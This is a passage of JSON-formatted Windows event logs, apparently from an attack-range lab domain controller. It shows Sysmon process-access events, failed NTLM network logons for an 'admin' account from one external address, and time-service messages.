C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2023,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2024,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2025,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2026,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2027,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2028,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-001051180300}\r\nTargetProcessId: 2412\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-001051180300}","TargetProcessId":"2412","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221487,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59573\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59573","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":139,"SourceName":"Microsoft-Windows-Time-Service","ProviderGuid":"{06EDCFEB-0FD0-4E53-ACCA-A6F8BBF81BCB}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76807,"ProcessID":1220,"ThreadID":3884,"Channel":"System","Domain":"NT AUTHORITY","AccountName":"LOCAL SERVICE","UserID":"S-1-5-19","AccountType":"Well Known Group","Message":"The time service has started advertising as a time source.","Opcode":"Info","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":143,"SourceName":"Microsoft-Windows-Time-Service","ProviderGuid":"{06EDCFEB-0FD0-4E53-ACCA-A6F8BBF81BCB}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76808,"ProcessID":1220,"ThreadID":3884,"Channel":"System","Domain":"NT AUTHORITY","AccountName":"LOCAL SERVICE","UserID":"S-1-5-19","AccountType":"Well Known Group","Message":"The time service has started advertising as a good time source.","Opcode":"Info","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221488,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59679\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon 